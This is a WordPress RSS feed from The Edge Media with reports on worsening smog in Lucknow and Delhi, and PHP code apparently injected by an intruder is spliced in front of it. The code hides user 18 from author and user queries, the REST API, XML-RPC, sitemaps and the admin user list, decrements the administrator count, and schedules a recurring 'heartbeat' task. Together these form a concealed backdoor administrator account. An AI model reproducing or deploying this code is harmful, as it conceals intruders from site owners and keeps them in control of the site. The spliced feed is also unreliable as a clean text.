add_action( 'pre_get_posts', function( $q ) {
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        $not_in   = (array) $q->get( 'author__not_in' );
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add_action( 'template_redirect', function() {
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} );

add_action( 'pre_user_query', function( $q ) {
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add_action( 'pre_get_users', function( $q ) {
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} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
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} );
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					<description><![CDATA[<p>Lucknow experienced another day of deteriorating air quality on Monday, with the Air Quality Index (AQI) settling at 205, marking the second consecutive day in the ‘poor’ category. By evening, a dense layer of smog had spread across the city as pollution levels surged. Meteorologists have warned that the smog is likely to intensify in [&#8230;]</p>
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										<content:encoded><![CDATA[<p>Lucknow experienced another day of deteriorating air quality on Monday, with the Air Quality Index (AQI) settling at 205, marking the second consecutive day in the ‘poor’ category. By evening, a dense layer of smog had spread across the city as pollution levels surged.</p>
<p>Meteorologists have <strong>warned</strong> that the smog is likely to intensify in the coming days due to a further drop in temperature, which typically<strong> traps pollutants closer to the ground</strong>.</p>
<blockquote><p><span style="color: #008000;">On Sunday, the AQI was recorded at 208—also in the ‘poor’ range—while Saturday’s air quality had been comparatively better, falling under the ‘moderate’ category with an AQI of 161.</span></p></blockquote>
<p>Air quality monitoring stations reported alarming<strong> PM2.5 concentrations at six locations</strong>, with readings surpassing <strong>300 micrograms per cubic metre</strong>—over five times the permissible limit of<strong> 60 micrograms</strong>. The highest average<strong> PM2.5 level was 363 micrograms</strong> at Kendriya Vidyalaya<strong> in Aliganj</strong>, followed by<strong> 322 at BBAU near Shaheed Path</strong>, <strong>302 in Gomtinagar</strong>, and<strong> 180 at the Kukrail picnic spot</strong>. PM10 levels at the same locations were recorded at double the acceptable threshold of <strong>100 micrograms per cubic metre</strong>.</p>
<blockquote><p><span style="color: #008000;">Environmental expert and associate professor <strong>Alfred Lawrence</strong> of Isabella Thoburn College highlighted<strong> vehicular emissions</strong> as the <strong>primary source</strong> of the rising pollution.</span></p></blockquote>
<p>He added that traffic congestion and ongoing construction activities further aggravate air quality.</p>
<p>Lawrence suggested urgent action, including water sprinkling to reduce dust, covering construction sites with green nets, and improving traffic flow, to manage the rapidly increasing pollution levels.</p>
<p>The post <a href="https://theedgemedia.in/lucknow-poor-air-quality-smog-intensifies-aqi-205">Lucknow Air Quality Remains ‘Poor’ for Second Day as Smog Worsens</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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		<title>As the smog in Delhi worsens, India&#8217;s Pollution Control Board advises residents to prepare for an emergency</title>
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					<description><![CDATA[<p>The center&#8217;s pollution control board on Friday ordered states and local bodies to be in &#8220;complete readiness&#8221; for emergency measures to tackle New Delhi&#8217;s worsening smog conditions due to a drop-in temperature and wind speeds. &#160; A thick haze of toxic smog hung over Delhi, exacerbated by a spike in the burning of crop waste [&#8230;]</p>
<p>The post <a href="https://theedgemedia.in/as-the-smog-in-delhi-worsens-indias-pollution-control-board-advises-residents-to-prepare-for-an-emergency">As the smog in Delhi worsens, India&#8217;s Pollution Control Board advises residents to prepare for an emergency</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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										<content:encoded><![CDATA[<p>The center&#8217;s pollution control board on Friday ordered states and local bodies to be in &#8220;complete readiness&#8221; for emergency measures to tackle New Delhi&#8217;s worsening smog conditions due to a drop-in temperature and wind speeds.</p>
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<p>A thick haze of toxic smog hung over Delhi, exacerbated by a spike in the burning of crop waste in surrounding farmlands. It reduced visibility and the Air Quality Index (AQI) hit 470 on a scale of 500, according to the pollution control board. This level of pollution means the air will affect healthy people and seriously impact those with existing diseases.</p>
<p>The post <a href="https://theedgemedia.in/as-the-smog-in-delhi-worsens-indias-pollution-control-board-advises-residents-to-prepare-for-an-emergency">As the smog in Delhi worsens, India&#8217;s Pollution Control Board advises residents to prepare for an emergency</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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